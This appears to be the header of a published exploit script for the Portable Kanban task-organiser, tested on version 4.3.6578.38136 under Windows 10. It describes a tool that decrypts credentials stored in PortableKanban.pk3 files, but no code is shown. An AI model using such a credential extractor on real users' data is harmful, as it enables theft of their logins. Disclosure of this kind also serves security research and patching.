  # Software Link: https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
  # Version: Tested on: 4.3.6578.38136. All versions that use the similar file format are likely vulnerable.
  # Tested on: Windows 10 x64. Exploit likely works on all OSs that PBK runs on. 
  
  # PortableKanBan stores credentials in an encrypted format
  # Reverse engineering the executable allows an attacker to extract credentials from local storage
  # Provide this program with the path to a valid PortableKanban.pk3 file and it will extract the decoded credentials
